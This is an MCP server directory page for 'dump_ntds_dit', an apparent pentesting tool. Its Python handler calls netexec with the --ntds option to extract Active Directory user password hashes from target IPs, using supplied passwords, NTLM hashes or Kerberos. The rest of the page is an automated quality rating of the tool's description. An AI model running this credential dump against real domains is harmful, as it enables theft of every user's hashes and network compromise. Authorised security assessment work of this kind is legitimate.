Skip to main content
Glama

dump_ntds_dit

Extract Active Directory user credentials and password hashes from NTDS.dit files using valid authentication to support security assessments and penetration testing.

Instructions

dump NTdS.dit which contains users and their hashes if we have some valid credentials

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
ipsYes
usernameYes
passwordYes
ntlmNo
kerberosNo

Implementation Reference

  • The handler function decorated with @mcp.tool for the dump_ntds_dit tool. It runs netexec smb --ntds using NTLM or Kerberos authentication based on parameters to dump the NTDS.dit file containing user hashes.
    @mcp.tool(name="dump_ntds_dit",description="dump NTdS.dit which contains users and their hashes if we have some valid credentials")
    def dump_ntds_dit(ips:List[str],username:str,password:str,ntlm:bool=False,kerberos:bool=False):
        if(ntlm):
            return run_command(["netexec","smb"]+ips+["-u",username,"-H",password,"--ntds"],communicate=True)
        elif(kerberos):
            return run_command(["netexec","smb"]+ips+["-u",username,"-p",'-k',password,"--ntds"],communicate=True)
    
        else:
            return run_command(["netexec","smb"]+ips+["-u",username,"-p",password,"--ntds"],communicate=True)
  • Registration of the dump_ntds_dit tool via the @mcp.tool decorator specifying name and description.
    @mcp.tool(name="dump_ntds_dit",description="dump NTdS.dit which contains users and their hashes if we have some valid credentials")
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It mentions the need for 'valid credentials', which hints at authentication requirements, but does not disclose other critical traits such as whether this is a read-only or destructive operation, potential rate limits, network impact, or what happens upon execution (e.g., file creation, data extraction). This leaves significant gaps for a tool with 5 parameters and no output schema.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, efficient sentence that front-loads the main purpose ('dump NTdS.dit') and adds a conditional clause ('if we have some valid credentials'). There is no wasted text, making it appropriately concise. However, it could be slightly improved by structuring it into clearer parts (e.g., separating purpose from prerequisites).

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the complexity (5 parameters, no annotations, no output schema), the description is incomplete. It lacks details on behavioral traits, parameter meanings, output format, and how it differs from sibling tools. While it states the purpose and a prerequisite, it does not provide enough context for safe and effective use by an AI agent, especially for a tool that likely involves sensitive operations like dumping hashes.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters2/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the schema provides no parameter details. The description does not add any meaning to the parameters (ips, username, password, ntlm, kerberos) beyond implying credentials are needed. It fails to explain what 'ips' represents (e.g., target IP addresses), the purpose of 'ntlm' or 'kerberos' flags, or how parameters interact, which is insufficient given the low coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'dump NTdS.dit which contains users and their hashes'. It specifies the action (dump) and the target resource (NTdS.dit), and mentions the content (users and their hashes). However, it does not explicitly differentiate from sibling tools like 'dump_sam_hashes' or 'enumerate_domain_users', which reduces the score from a 5.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides implied usage context by stating 'if we have some valid credentials', which suggests when to use the tool (when credentials are available). However, it does not explicitly guide when to use this tool versus alternatives (e.g., 'dump_sam_hashes' for SAM hashes or 'enumerate_domain_users' for user enumeration), and lacks clear exclusions or prerequisites beyond credentials.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Install Server

Other Tools

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/YoussefSahnoun/PentestMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server